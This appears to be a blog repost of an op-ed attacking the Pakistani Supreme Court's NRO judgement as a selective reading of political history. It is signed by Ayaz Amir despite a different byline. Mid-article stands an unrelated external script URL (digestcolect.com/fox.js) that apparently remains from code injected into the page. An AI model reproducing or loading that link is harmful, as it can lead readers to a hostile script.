NRO verdict: a murder of history – by Humza Ikram
Recent NRO verdict is an attempt to distort our 64 years of political history. And the thing which makes me sad the most is that how easily Supreme Court picked up Benazir Bhutto’s book (Reconciliation: Islam, Democracy, and the West) and took a single story from an almost thousand page book and treated it as an evidence against NRO. And the thing which is most alarming is that how easily judges have termed the process of national reconciliation as a deal between two individuals.
The verdict appears to be written in isolation with regard to our political history. And it seems everything was fine and smooth, Pakistan was heaven in the world. Judicial system was exemplary which no one could question and only thugs and murderers needed laws like NRO in order to be freed. And nothing similar to NRO in terms of its ‘evilness’ has ever happened in Pakistan. We were living in free democracy and those negotiating for NRO, negotiated it to make Pakistan a dictatorial regime, and with the advent of NRO doors of democracy were closed for ever.
The ‘honourabl’ judges seem to suggest that Zafar Ali Shah case where judiciary gave powers to General Musharaf to amend the constitution was actually a good omen, whereas Asfyandar Wali Khan’s petition against the NAB ordinance was just a gentleman flirting.
Also it seems that judges felt it was the last chance for judiciary to make this nation a God fearing one; that’s why they had to use Articles 62-F and 63 for the first time in the history of Pakistan, otherwise it was all over.
This judgement has betrayed some very painful realities which show inconsistency of the judiciary. The one which comes straight to my mind is why Supreme Court decided to refer the NRO to the parliament, under which law they did so. Furthermore, why did the same Supreme Court decide on their own about the fate of 3rd November 2007 PCO (Provisional Constitutional ordinance) while they never cared about the parliament to decide about the 3rd November PCO.
http://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&youtu.be/y_YcV-ZvOQU
The Supreme Court in Pakistan has a shameful history of condoning 4 coup de tats, it has given military dictators legal powers to unilaterally amend the constitution, it has authorized serving army chiefs to act as president of the country and to top it all, it has ordered the judicial murder of Pakistan’s most brilliant politician ever – in fact, it has committed every conceivable sin against democracy in the name of the Doctrine of Necessity. While these custodians of justice shiver beneath their wigs during any military rule, they become paper tigers in a civilian dispensation.
The NRO verdict, written by CJ Iftikhar Chaudhry – himself a double-PCO judge, is, in essence, a continuation of the same judicial mindset that has beset Pakistan since the days of Justice Muneer. The verdict clearly censures and negates the process of Reconciliation that was set in motion by a politically savvy Benazir Bhutto, and which resulted in the return of the exiled political leadership, the holding of 2008 general election and a civilian president after a decade.
After 33 years of military dictatorships, an ongoing raging militancy in the name of religious orthodoxy, backed by a sycophantic media frenzy, we are now witnessing judicial terrorism working wittingly or unwittingly as a proxy for the historical forces of the Right-wing self-styled champions of Islamic ideology.
A judiciary best fulfils its functions if it is faithful to the letter of the law and if it is honest in interpreting it; and if it doesn’t play second fiddle to dictators and doesn’t bend the law to suit their purposes. A sense of historical mission is best left to the people and their chosen representatives.
And if it is history we should consider, it must be history in its entirety and not slices of history susceptible to selective interpretation. Nowhere is the judgment’s take on recent history more evident, and perhaps more startling, than in its analysis of the meaning of the word ‘reconciliation’. It says that the NRO was a deal between two individuals—Pervez Musharraf and Benazir Bhutto—for personal objectives.
“We are of the opinion,” says the judgment, “that the NRO was not promulgated for ‘national reconciliation’ but for achieving the objectives which absolutely have no nexus with the (sic) ‘national reconciliation’ because the nation of Pakistan has not derived any benefit from the same.”
In attesting to the subjective nature of the NRO, the judgment quotes this from Benazir Bhutto’s book, Reconciliation: Islam, Democracy and the West: “The talks with Musharraf remained erratic. He didn’t want us resigning from the assemblies when he sought re-election. There wouldn’t be much difference in his winning whether we boycotted or contested, but we used this to press him to retire as army chief. It was a harrowing period. After many, many late-night calls, he passed a National Reconciliation Order, rather than lift the ban on a twice-elected prime minister seeking office a third time.”
Is this an individual talking or a major political leader discussing the when and how of a democratic transition? The keystone, the flagstone, of Musharraf’s rule was his position as army chief. And here when Benazir is negotiating the removal of Musharraf’s uniform, their lordships are of the opinion that this deal between the two was just confined to their two selves and had no wider significance whatsoever.
This is a selective reading of the past three years. There were many things which came together to pave the way for the transition from Musharraf to the present order. Different chapters were written by different authors.
The lawyers’ movement wrote one chapter, arguably the most important in weakening the mainstays of the Musharraf dispensation. CJ Iftikhar Chaudry and the judges who stood with him wrote another chapter when they defied Musharraf. This was a first in Pakistani history. Judges had been collaborators of military strongmen. They had never stood up to them before, at least not in this manner. There was a third chapter written by Benazir Bhutto and, much as we may dislike the notion, by our American friends when in tandem they prevailed upon Musharraf to shed his uniform. The judiciary and the lawyers’ movement had an indirect hand in this in that they had created the climate in which Musharraf had become an enfeebled ruler. The fourth chapter was written in Benazir’s blood when she was assassinated in Liaquat Bagh. Benazir’s death rocked the Musharraf order by bringing the latent anger of the people to the surface. There was nothing that could save him thereafter, Benazir proving more powerful in death than she had been in life.
And it was only with the coming of democracy that the judges detained by Musharraf were freed. And only with the long march led by Nawaz Sharif that, after many travails, they were eventually restored. In other words, it was the political process and the climate of the times, which led to their historic restoration. How can their lordships see themselves in isolation from all this history? The NRO was a bad law and there can be no cavil with this. But it was part of a larger picture of which there is scarce a mention in the entire judgment.
Ayaz Amir
http://www.khaleejtimes.com/DisplayArticleNew.asp?xfile=/data/opinion/2010/January/opinion_January132.xml§ion=opinion
Abbas Ather’s op-ed in support of Ayaz Amir’s analysis:
Athar Abbas solution to present crises in his last night interview in Mubashir Luqman show ” President should send his stamp and letter head to chief justice”.